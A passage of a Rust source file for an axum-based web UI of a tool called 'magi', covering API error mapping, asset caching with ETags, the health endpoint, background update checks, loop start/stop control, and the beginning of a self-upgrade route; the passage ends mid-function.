1753    /// Someone else owns the thing the client wants to change.
1754    /// Re-badge an error whose default mapping is wrong for this route.
1755    fn with_status(mut self, status: StatusCode) -> Self {
1756        self.status = status;
1757        self
1758    }
1759
1760    /// A rules violation from a domain type, reported as the caller's fault.
1761    /// `Question::answer` rejects an unoffered choice, and that is a bad
1762    /// request, not a server error.
1763    fn bad_request_from(e: anyhow::Error) -> Self {
1764        Self::bad_request(format!("{e:#}"))
1765    }
1766
1767    fn conflict(message: impl Into<String>) -> Self {
1768        Self {
1769            status: StatusCode::CONFLICT,
1770            message: message.into(),
1771        }
1772    }
1773
1774    /// Our fault, or the disk's.
1775    fn internal(message: impl Into<String>) -> Self {
1776        Self {
1777            status: StatusCode::INTERNAL_SERVER_ERROR,
1778            message: message.into(),
1779        }
1780    }
1781}
1782
1783impl From<anyhow::Error> for ApiError {
1784    /// Errors from `queue` and `run` carry their context chain, and the whole
1785    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1786    /// value at line 3" is a message an operator can act on, and there is no
1787    /// secret in a path on a single-user tailnet.
1788    fn from(e: anyhow::Error) -> Self {
1789        Self::internal(format!("{e:#}"))
1790    }
1791}
1792
1793impl IntoResponse for ApiError {
1794    fn into_response(self) -> Response {
1795        let body = serde_json::json!({ "error": self.message });
1796        (self.status, Json(body)).into_response()
1797    }
1798}
1799
1800/// Run a handler's filesystem work off the executor.
1801///
1802/// Every route that touches the disk goes through here rather than each one
1803/// arguing about whether its own read is small enough. Uniform because the
1804/// expensive case is not rare: `run.json` for a finished competition holds
1805/// every judgement, deliberation turn and review round, so listing a few
1806/// hundred runs is megabytes of parsing, and the executor threads doing it are
1807/// the same ones serving the change stream of every other connected phone.
1808async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1809where
1810    T: Send + 'static,
1811{
1812    match tokio::task::spawn_blocking(job).await {
1813        Ok(result) => result,
1814        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1815    }
1816}
1817
1818/// Cache policy for the three compiled-in front-end files.
1819///
1820/// The whole interface is `include_str!`ed into the binary, so its content
1821/// changes only when the binary does - and a phone that keeps a copy is
1822/// welcome to, right up until the deck is replaced. Without a single cache
1823/// header, browsers were free to invent their own policy, and one did:
1824/// yukimemi's phone went on showing "Candidates must be folded before
1825/// deleting. Run `magi fold` first." - a sentence deleted two releases
1826/// earlier - from a run detail served by a deck that no longer contained it.
1827/// The delete button he was told about was right there, and unreachable.
1828///
1829/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1830/// every time, the answer is a 304 costing one small round trip while the
1831/// deck is unchanged, and the moment it is replaced the tag differs and the
1832/// new interface arrives. Correctness over bytes - this is one file of a few
1833/// tens of kilobytes on a tailnet, and being a version behind is not a
1834/// cosmetic problem when the difference is whether a button exists.
1835const ASSET_CACHE: &str = "no-cache, must-revalidate";
1836
1837/// `ETag` for the compiled-in assets, distinct per build.
1838///
1839/// The version alone would leave a locally built deck - `cargo install
1840/// --path .` twice at the same version, which is the normal way to iterate -
1841/// serving a stale tag for changed bytes. The build timestamp is what makes
1842/// two builds of `0.3.0` differ.
1843fn asset_etag() -> &'static str {
1844    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1845        format!(
1846            "\"{}-{}\"",
1847            env!("CARGO_PKG_VERSION"),
1848            // Length is a cheap, deterministic stand-in for a hash: the
1849            // three files are compiled in together, so any edit to any of
1850            // them almost certainly changes the total, and a rebuild is what
1851            // this needs to track rather than every possible byte pattern.
1852            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1853        )
1854    });
1855    &TAG
1856}
1857
1858/// Headers for a compiled-in asset of `mime`.
1859fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1860    [
1861        (header::CONTENT_TYPE, mime),
1862        (header::CACHE_CONTROL, ASSET_CACHE),
1863        (header::ETAG, asset_etag()),
1864    ]
1865}
1866
1867/// Serve a compiled-in asset, answering `304` when the client already has it.
1868///
1869/// axum does not compare `If-None-Match` for us, and a header the server sets
1870/// but never honours is worse than none: the phone revalidates on every load
1871/// and is handed the whole file back each time. Doing the comparison is what
1872/// makes `must-revalidate` cost one small round trip rather than the
1873/// interface.
1874fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1875    let tag = asset_etag();
1876    let known = headers
1877        .get(header::IF_NONE_MATCH)
1878        .and_then(|v| v.to_str().ok())
1879        // A revalidating client may send several, and a proxy may weaken the
1880        // tag to `W/"..."`; matching on containment covers both without
1881        // parsing the grammar.
1882        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1883    if known {
1884        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1885    }
1886    (asset_headers(mime), body).into_response()
1887}
1888
1889async fn index(headers: header::HeaderMap) -> Response {
1890    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1891}
1892
1893async fn app_css(headers: header::HeaderMap) -> Response {
1894    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1895}
1896
1897async fn app_js(headers: header::HeaderMap) -> Response {
1898    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1899}
1900
1901/// What `/api/health` answers.
1902#[derive(Debug, Serialize)]
1903struct HealthView {
1904    version: &'static str,
1905    home: String,
1906    queue_rev: u64,
1907    runs_rev: u64,
1908    /// The same revisions [`events`] streams for the question and talk
1909    /// stores.
1910    ///
1911    /// Here because this route is what the front end falls back to when the
1912    /// change stream is not up - it re-polls health on a timer and on wake, and
1913    /// takes the revisions from the answer. Without these the fallback
1914    /// compares `undefined` against `undefined` for both stores, decides
1915    /// nothing moved, and a phone with a dead stream never learns that a
1916    /// question was asked or that a talk took a turn. `queue_rev` and
1917    /// `runs_rev` above have always been here for exactly this reason; the rule
1918    /// is that every revision the stream carries, this route carries too.
1919    questions_rev: u64,
1920    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1921    talks_rev: u64,
1922    /// See [`HealthView::questions_rev`]. The notification centre's store.
1923    notifications_rev: u64,
1924    /// Notifications nobody has read yet: the bell's badge before
1925    /// `/api/notifications` has answered.
1926    notifications_unread: usize,
1927    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1928    /// is not on disk anywhere, so a phone with no change stream has no other
1929    /// way to notice that the loop it is waiting on was started from another
1930    /// device.
1931    loop_rev: u64,
1932    /// Runs on disk whose state this build cannot parse - almost always a
1933    /// schema bump, occasionally a run killed mid-write.
1934    ///
1935    /// Reported because the list silently skips them, and "no competitions
1936    /// yet" is a lie when six of them are sitting in the runs directory. The
1937    /// terminal deck learned the same lesson: a run that fails to parse must
1938    /// not disappear from the count.
1939    runs_unreadable: usize,
1940    /// The disk, and what the runs and their worktrees occupy on it.
1941    ///
1942    /// This is the incident the janitor exists for: magi alone put 30 GB into
1943    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1944    /// is exactly where the operator learns "the disk is the constraint" -
1945    /// the diagnosis that a run is being held for want of space has to be
1946    /// checkable on the same screen.
1947    disk: DiskView,
1948    /// Questions nobody has answered yet, including ones an owner talked
1949    /// back on and is now waiting for the agent's reply to. A round trip
1950    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1951    /// while the ball is in the agent's court - see
1952    /// [`crate::ask::Questions::count_open`].
1953    questions_open: usize,
1954    /// Of those, how many actually need the owner right now: open, and not
1955    /// [`crate::ask::Question::waiting_on_agent`].
1956    ///
1957    /// The one number that means "nothing will happen until a human acts" -
1958    /// a parked run consumes nothing and progresses never - and the count the
1959    /// ask bar, the nav badge and the document title fall back to before
1960    /// `/api/questions` has answered, so those notification channels clear
1961    /// the instant the owner asks back and reappear the instant the agent
1962    /// replies, instead of sitting lit for however long the agent thinks.
1963    questions_needs_owner: usize,
1964    daemon: DaemonView,
1965    /// The loop in this process, exactly what `/api/loop` answers with.
1966    ///
1967    /// Here so a phone that has just woken needs one request to know whether
1968    /// anything is going to happen at all: `daemon` says a loop is alive
1969    /// somewhere, and this says whether it is one this UI can stop.
1970    #[serde(rename = "loop")]
1971    looping: LoopView,
1972    /// Whether a release newer than this build is known, and which.
1973    ///
1974    /// From [`updater::Checker::cached_update`] - the same throttled state the
1975    /// CLI's `notify` mode banners from - never a live check: this route is
1976    /// polled every few seconds, and a live check on each poll would spend
1977    /// GitHub's rate limit before the operator finished reading the strip.
1978    update: UpdateView,
1979    /// The self-upgrade this deck last set in motion, or `null` before the
1980    /// first one. Read off disk, so the successor can report what its
1981    /// predecessor started.
1982    upgrade: Option<UpgradeProgressView>,
1983}
1984
1985/// What `/api/health` knows about a release newer than this build.
1986///
1987/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1988/// is already the newest" from "never checked" - both are `None` - and the
1989/// phone needs to tell those apart to decide whether the deck can be trusted
1990/// to have an opinion at all.
1991#[derive(Debug, Serialize)]
1992struct UpdateView {
1993    /// A newer release is known to exist.
1994    available: bool,
1995    /// Its tag, when `available`.
1996    to: Option<String>,
1997}
1998
1999/// [`updater::Progress`] as `/api/health` reports it.
2000#[derive(Debug, Serialize)]
2001struct UpgradeProgressView {
2002    stage: updater::Stage,
2003    from: String,
2004    to: Option<String>,
2005    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2006    /// the step it is finishing before the address is handed over.
2007    waiting_on: Option<String>,
2008    started_at: Timestamp,
2009    updated_at: Timestamp,
2010    detail: Option<String>,
2011    /// Seconds the stage has outlived its allowance, when it has - see
2012    /// [`updater::stall`]. `null` while the stage is moving normally.
2013    stuck_for_secs: Option<i64>,
2014    /// Which kind of stuck: `never_entered` (hand_over left no record of
2015    /// starting) or `stopped_beating`. `null` when not stuck.
2016    stuck_kind: Option<updater::StallKind>,
2017    /// `hand_over` is alive and waiting on the loop: however long that takes,
2018    /// it is not an overdue upgrade.
2019    handover_alive: bool,
2020}
2021
2022/// Whether [`run_update_recheck`] may act at all this tick.
2023///
2024/// The same two conditions [`updater::Checker::new`] and
2025/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2026/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2027/// GitHub from this process" - on a button press or on a timer alike.
2028fn should_spawn_recheck(cfg: &Update) -> bool {
2029    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2030}
2031
2032/// Whether this tick should actually reach the network, once checking itself
2033/// is allowed.
2034///
2035/// An upgrade already in flight must not be raced by a check that discovers
2036/// a *newer* release while one is still installing - a phone watching
2037/// `/api/health` would see the answer change out from under the upgrade it
2038/// already asked for. Past that, [`updater::Checker::should_check`] is the
2039/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2040/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2041/// polling period, is what keeps this task's network use to at most once per
2042/// `[update] interval` regardless of how often it wakes up.
2043fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2044    if progress.is_some_and(|p| !p.stage.terminal()) {
2045        return false;
2046    }
2047    checker.should_check()
2048}
2049
2050/// How long [`run_update_recheck`] sleeps before its next wake-up.
2051///
2052/// A fraction of the configured `[update] interval` rather than a fixed
2053/// number: a fixed sleep longer than a short custom interval would leave the
2054/// deck waiting on its own wake-up rather than on `should_check`, so an
2055/// operator who set `interval = "1m"` to make the UI catch up quickly would
2056/// not see that take effect until the next restart - exactly the bug this
2057/// task exists to fix, just moved one level down. Scaling with the interval
2058/// keeps the wake-up prompt relative to what was actually configured, while
2059/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2060/// still what caps the network calls themselves at one per interval,
2061/// regardless of how often this fires.
2062fn recheck_poll_period(cfg: &Update) -> Duration {
2063    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2064}
2065
2066/// Keep `/api/health`'s `update` field current for as long as `magi web`
2067/// stays up.
2068///
2069/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2070/// which is enough for every other command: they exit in seconds. `magi web`
2071/// can run for days, so a single startup check leaves the cache - and the
2072/// phone's "Update & restart" button, which reads it via
2073/// [`cached_update_view`] - frozen on whatever that one look found, however
2074/// many releases ship afterwards. This is what notices the rest of them,
2075/// re-reading the config each tick so a `magi.toml` edit while the server is
2076/// up takes effect without a restart, the same way every other route here
2077/// already does - both for whether checking is on at all and for how long
2078/// the next sleep should be.
2079///
2080/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2081/// "install"`: swapping the running binary out from under a task or a run
2082/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2083/// not as a side effect of a timer nobody asked to fire. This only ever
2084/// calls [`updater::Checker::newer_release`], which refreshes
2085/// `last_update_check.json` and nothing else - so under `mode = "install"`
2086/// this behaves like `notify` for as long as the deck stays up, and an
2087/// actual self-install still happens exactly where it always has: once, at
2088/// the next process start.
2089async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2090    loop {
2091        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2092        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2093        if !should_spawn_recheck(&cfg.update) {
2094            continue;
2095        }
2096        let Some(checker) = updater::Checker::new(&cfg.update) else {
2097            continue;
2098        };
2099        let progress = updater::read_progress(&home);
2100        if !update_recheck_due(&checker, progress.as_ref()) {
2101            continue;
2102        }
2103        if let Err(e) = checker.newer_release().await {
2104            tracing::warn!("background update recheck failed: {e:#}");
2105        }
2106    }
2107}
2108
2109/// [`UpdateView`] from the same throttled, disk-only state
2110/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2111/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2112/// no cached state at all, which is correct: an operator who turned checking
2113/// off gets no opinion, not a stale one.
2114fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2115    let default;
2116    let cfg = match cfg {
2117        Some(cfg) => cfg,
2118        None => {
2119            default = Config::default();
2120            &default
2121        }
2122    };
2123    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2124    match latest {
2125        Some(latest) => UpdateView {
2126            available: true,
2127            to: Some(latest.tag_name),
2128        },
2129        None => UpdateView {
2130            available: false,
2131            to: None,
2132        },
2133    }
2134}
2135
2136/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2137/// from the parked run's own state when the stage is
2138/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2139/// already on disk in `run.json`, so this reads them fresh rather than
2140/// trusting whatever was true the moment the park was requested.
2141fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2142    let now = Timestamp::now();
2143    let lease = updater::read_lease(&ui.home);
2144    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2145    let run_id = alive
2146        .and_then(|l| l.parked_run.as_deref())
2147        .or(progress.parked_run.as_deref());
2148    let parking = progress.stage == updater::Stage::Parking;
2149    let waited = alive.map_or_else(String::new, |l| {
2150        let secs = updater::waited_secs(l, now);
2151        format!(" (waited {} min so far)", secs / 60)
2152    });
2153    let run_text = run_id
2154        .filter(|_| parking)
2155        .map(|id| match read_run(&ui.runs, id).ok() {
2156            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2157            None => format!("run {id} is finishing"),
2158        });
2159    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2160        .filter(|t| parking && !t.is_empty())
2161        .map(|t| format!("{t} finishing"));
2162    let waiting_on = match (run_text, talks_text) {
2163        (None, None) => None,
2164        (run, talks) => {
2165            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2166            Some(format!(
2167                "{} before the address is handed over{waited}",
2168                parts.join(" and ")
2169            ))
2170        }
2171    };
2172    let detail = progress
2173        .detail
2174        .clone()
2175        .or_else(|| updater::read_note(&ui.home, &progress));
2176    let stalled = updater::stall(&progress, lease.as_ref(), now);
2177    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2178    UpgradeProgressView {
2179        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2180        stuck_kind: stalled.map(|s| s.kind),
2181        handover_alive: alive.is_some(),
2182        stage: progress.stage,
2183        from: progress.from,
2184        to: progress.to,
2185        waiting_on,
2186        started_at: progress.started_at,
2187        updated_at: progress.updated_at,
2188        detail,
2189    }
2190}
2191
2192/// The disk figures `/api/health` carries. Every number is produced by
2193/// [`crate::disk`], the same code that decides a run may not start, so the
2194/// health screen and the gate cannot disagree about what the machine looks
2195/// like.
2196#[derive(Debug, Serialize)]
2197struct DiskView {
2198    /// Free bytes on the volume holding the runs, when measurable.
2199    #[serde(skip_serializing_if = "Option::is_none")]
2200    free_bytes: Option<u64>,
2201    /// Everything the runs directory occupies, unreadable runs included.
2202    runs_bytes: u64,
2203    /// Everything the runs' worktrees occupy.
2204    worktrees_bytes: u64,
2205    /// The shared build cache's size, when the config names one.
2206    #[serde(skip_serializing_if = "Option::is_none")]
2207    cache_bytes: Option<u64>,
2208}
2209
2210impl DiskView {
2211    /// Measure the three directories and re-read the config's cache.
2212    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2213        let cache_bytes = cfg
2214            .and_then(|cfg| cfg.cache_dir())
2215            .map(|dir| crate::disk::dir_size(&dir));
2216        Self {
2217            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2218            runs_bytes: crate::disk::dir_size(&ui.runs),
2219            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2220            cache_bytes,
2221        }
2222    }
2223}
2224
2225/// The daemon's state as the UI presents it.
2226#[derive(Debug, Serialize)]
2227struct DaemonView {
2228    running: bool,
2229    idle: Option<bool>,
2230    pid: Option<u32>,
2231    /// Every task and run currently in flight. Empty when idle; more than
2232    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2233    /// run going at once.
2234    current: Vec<daemon::Current>,
2235    completed: Option<u64>,
2236    stale_for_secs: Option<i64>,
2237}
2238
2239impl DaemonView {
2240    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2241    /// not this UI's — a crashed daemon must not look alive here while
2242    /// `doctor` calls it dead.
2243    fn of(status: Option<daemon::Reading>) -> Self {
2244        let Some(status) = status else {
2245            return Self {
2246                running: false,
2247                idle: None,
2248                pid: None,
2249                current: Vec::new(),
2250                completed: None,
2251                stale_for_secs: None,
2252            };
2253        };
2254        let now = Timestamp::now();
2255        let age = status.age_secs(now);
2256        Self {
2257            running: status.running(now),
2258            idle: Some(status.idle),
2259            pid: status.pid,
2260            current: status.current,
2261            completed: Some(status.completed),
2262            stale_for_secs: age,
2263        }
2264    }
2265}
2266
2267async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2268    blocking(move || {
2269        // One read of the status file for the two fields that describe it, so
2270        // `daemon` and `loop` in the same answer cannot disagree about who is
2271        // running the loop.
2272        let reading = daemon::read_status(&ui.home);
2273        // Read on its own line, not inside the literal below: the loop's lock
2274        // is not reentrant, and a guard taken as a temporary there would still
2275        // be held when `loop_view` took it again.
2276        let loop_rev = ui.lock_loop().rev;
2277        // One discover for both views: each is a few git processes plus a
2278        // config render, and neither depends on anything the other reads.
2279        let cfg = deputy_config(&ui.repo);
2280        let update = cached_update_view(cfg.as_ref());
2281        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2282        Ok(Json(HealthView {
2283            version: env!("CARGO_PKG_VERSION"),
2284            home: ui.home.display().to_string(),
2285            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2286            runs_rev: runs_revision(&ui.runs),
2287            questions_rev: ui.questions.revision(),
2288            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2289            notifications_rev: ui.notices.revision(),
2290            notifications_unread: ui.notices.count_unread(),
2291            loop_rev,
2292            runs_unreadable: runs_unreadable(&ui.runs),
2293            questions_open: ui.questions.count_open(),
2294            questions_needs_owner: ui.questions.count_needs_owner(),
2295            daemon: DaemonView::of(reading.clone()),
2296            looping: ui.loop_view(reading),
2297            disk: DiskView::of(&ui, cfg.as_ref()),
2298            update,
2299            upgrade,
2300        }))
2301    })
2302    .await
2303}
2304
2305/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2306#[derive(Debug, Serialize)]
2307struct LoopView {
2308    /// A loop is running in *this* process.
2309    running: bool,
2310    /// It has been asked to stop and is still finishing a run.
2311    ///
2312    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2313    /// because the two differ exactly where it matters: a loop asked to stop
2314    /// while idle is gone within one poll interval, and one asked to stop
2315    /// mid-run keeps going for as long as the graph takes. The operator needs
2316    /// to be told which of those they are waiting for.
2317    stopping: bool,
2318    /// A park was asked for: the run in flight stops at its next node
2319    /// boundary rather than finishing.
2320    ///
2321    /// Separate from `stopping` because the two promise different waits. A
2322    /// stop is "when this competition ends", which can be an hour; a park is
2323    /// "after the step it is on", which is minutes and is what an operator
2324    /// waiting to replace the binary needs to see.
2325    parking: bool,
2326    /// The loop is this process's own.
2327    ///
2328    /// Spelled separately from `running` for the front end's sake, even
2329    /// though inside this process the two move together: `running: false`
2330    /// with `daemon.running: true` is the case where the operator's own `magi
2331    /// serve` owns the loop, and `owned` is the field that tells the UI its
2332    /// buttons have to explain that rather than pretend.
2333    owned: bool,
2334    /// Repository the loop uses for tasks that name none - what it was
2335    /// started with while it runs, and what a start would use before that.
2336    repo: String,
2337    /// Merge mode override in force, or `null` when each repository's own
2338    /// config decides.
2339    merge: Option<String>,
2340    /// Why the last loop in this process ended, when it ended badly.
2341    ///
2342    /// The only place a crashed loop is visible to someone holding a phone.
2343    /// It is logged at error level as well, but a terminal nobody kept open
2344    /// is not a report, and a loop that died at 3am must not read as merely
2345    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2346    /// answers the same question about the same kind of failure.
2347    last_error: Option<String>,
2348    /// The status file, judged the same way `/api/health` judges it: this is
2349    /// what says whether a loop is alive in some *other* process.
2350    daemon: DaemonView,
2351}
2352
2353/// A loop another process already owns.
2354///
2355/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2356/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2357/// published by a pid that is not ours. Excluding our own pid is what makes
2358/// stopping work at all - the loop this process runs writes that file too, so
2359/// a check that ignored the pid would decide the operator's own UI was a
2360/// stranger and refuse to stop the loop it had just started.
2361#[derive(Debug, Clone, Copy)]
2362struct Foreign {
2363    /// The pid the other process published, when it published one.
2364    pid: Option<u32>,
2365}
2366
2367impl Foreign {
2368    /// Another process's live loop, or `None` when this process is free to
2369    /// run one.
2370    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2371        // A fresh heartbeat with no pid in it is still evidence of a live
2372        // daemon. "Some other process" is the honest answer, and refusing
2373        // to start beside it is the safe one.
2374        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2375    }
2376
2377    /// How a conflict names it. The pid is the whole point of the message: it
2378    /// is what the operator needs to find the terminal that owns the loop.
2379    fn who(&self) -> String {
2380        match self.pid {
2381            Some(pid) => format!("another magi process (pid {pid})"),
2382            None => "another magi process".to_owned(),
2383        }
2384    }
2385}
2386
2387/// How a loop is started, as a future this module can hold onto.
2388///
2389/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2390/// trait object or a hand-written `Debug` impl for the sake of one seam.
2391type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2392
2393/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2394fn launch_daemon(
2395    opts: daemon::Opts,
2396    stop: daemon::Stop,
2397) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2398    Box::pin(daemon::serve_until(opts, stop))
2399}
2400
2401/// The loop this process runs, behind one lock.
2402#[derive(Debug, Default)]
2403struct LoopState {
2404    /// The loop, while there is one.
2405    live: Option<Live>,
2406    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2407    ///
2408    /// The loop is in-process state rather than a file, so nothing on disk
2409    /// would tell a second phone that the first one started it. Without this
2410    /// counter the only way to learn about a start, a stop request or a crash
2411    /// would be to poll `/api/loop`, which is the thing the change stream
2412    /// exists to avoid on a mobile link.
2413    rev: u64,
2414    /// Why the last loop ended, when it ended badly. See
2415    /// [`LoopView::last_error`].
2416    last_error: Option<String>,
2417    /// The loop was running (and not already stopping) when the last upgrade
2418    /// parked it, so the successor should start one. Set afresh by every
2419    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2420    /// update.
2421    resume_after_handover: bool,
2422}
2423
2424/// A loop in flight.
2425#[derive(Debug)]
2426struct Live {
2427    /// The cooperative stop, shared with the loop task.
2428    stop: daemon::Stop,
2429    /// The task itself, kept only to answer whether it is still there: a loop
2430    /// that panicked never records its own end, and without this the view
2431    /// would go on reporting a loop that no longer exists - the one lie that
2432    /// would leave the operator with no button to press.
2433    handle: tokio::task::JoinHandle<()>,
2434    /// What the loop was started with, so the view reports the repository and
2435    /// merge mode its runs will actually use rather than what an edit to the
2436    /// config since would give.
2437    opts: daemon::Opts,
2438}
2439
2440impl Live {
2441    /// Is the task still there? See [`Live::handle`].
2442    fn alive(&self) -> bool {
2443        !self.handle.is_finished()
2444    }
2445}
2446
2447/// Take the loop lock, recovering from a poisoned one.
2448///
2449/// What this mutex holds is a stop flag, a task handle and two counters, none
2450/// of which a panic elsewhere can leave in a state worth refusing to read.
2451/// Propagating the poison instead would mean an operator who can see the loop
2452/// running and can no longer stop it from the only surface they have.
2453fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2454    state.lock().unwrap_or_else(PoisonError::into_inner)
2455}
2456
2457/// `GET /api/loop`.
2458async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2459    blocking(move || {
2460        let reading = daemon::read_status(&ui.home);
2461        Ok(Json(ui.loop_view(reading)))
2462    })
2463    .await
2464}
2465
2466/// The body of `POST /api/loop`.
2467///
2468/// One required field and nothing else: no `default` and no unknown fields,
2469/// so a body that fails to say which way the switch was flipped is a 400
2470/// rather than a tap that quietly does the opposite of what was pressed.
2471#[derive(Debug, Deserialize)]
2472#[serde(deny_unknown_fields)]
2473struct LoopCommand {
2474    running: bool,
2475    /// Stop the run in flight at its next node boundary rather than letting it
2476    /// finish.
2477    ///
2478    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2479    /// competition is tens of minutes of paid work and finishing it is
2480    /// normally the cheapest thing to do. A park is for the operator who
2481    /// wants the process gone now - to replace the binary, most of all - and
2482    /// it costs at most the node in progress because every node writes its
2483    /// state before the next one starts.
2484    #[serde(default)]
2485    park: bool,
2486}
2487
2488/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2489///
2490/// Answers with the view rather than waiting for the loop to reach the state
2491/// that was asked for. Starting is immediate anyway; stopping is not, and the
2492/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2493/// request open for. `stopping` in the answer is what the operator watches
2494/// instead.
2495async fn loop_post(
2496    State(ui): State<Arc<Ui>>,
2497    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2498) -> ApiResult<Json<LoopView>> {
2499    // Taken as a `Result` so a malformed body is a 400 like every other route
2500    // here, rather than axum's default 422 that the UI has no branch for.
2501    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2502    blocking(move || {
2503        let reading = daemon::read_status(&ui.home);
2504        let foreign = Foreign::of(reading.as_ref());
2505        if body.running {
2506            ui.start_loop(foreign)?;
2507        } else {
2508            ui.stop_loop(foreign, body.park)?;
2509        }
2510        Ok(Json(ui.loop_view(reading)))
2511    })
2512    .await
2513}
2514
2515/// What `POST /api/upgrade` set in motion.
2516#[derive(Debug, Serialize)]
2517struct UpgradeView {
2518    /// The version this process is running.
2519    from: String,
2520    /// The release it is replacing itself with, when there is one.
2521    to: Option<String>,
2522    /// A run was parked first, and this is its id.
2523    parked: Option<String>,
2524    /// What the operator should expect to happen next.
2525    detail: String,
2526}
2527
2528/// The stage of an upgrade that is still moving, if the record says so.
2529/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2530fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2531    progress.filter(|p| !p.stage.terminal())
2532}
2533
2534/// `POST /api/upgrade` - replace this binary with the newest release and come
2535/// back on it.
2536///
2537/// The one thing the deck could not do for itself. Every fix landed today
2538/// either waited for a competition to end or went in with the deck stopped,
2539/// because `cargo install` cannot overwrite a running executable on Windows.
2540/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2541/// the new one in its place, so the swap itself needs no downtime. Only the
2542/// restart does, and the order is the whole design:
2543///
2544/// 1. **Park.** A run in flight stops at its next node boundary and stays
2545///    resumable, so this costs at most the node in progress rather than the
2546///    competition. Without it the honest choices were waiting an hour or
2547///    discarding paid agent work.
2548/// 2. **Replace.** The new binary goes into place while this one still runs.
2549/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2550///    successor - see [`spawn_successor`] for what happens in the other
2551///    order.
2552/// 4. **Resume.** The next loop carries the parked run on rather than
2553///    competing again; see `daemon::attempt`.
2554///
2555/// Answers **202**: the reply has to reach the phone while this process can
2556/// still send one, and the phone learns the deck is back by reconnecting.
2557async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2558    let reading = daemon::read_status(&ui.home);
2559    if let Some(other) = Foreign::of(reading.as_ref()) {
2560        return Err(ApiError::conflict(format!(
2561            "the loop belongs to {}, so replacing this binary would leave \
2562             that process running an old one against the same queue. Upgrade \
2563             where it was started.",
2564            other.who()
2565        )));
2566    }
2567
2568    // A second upgrade while one is moving would replace the binary and
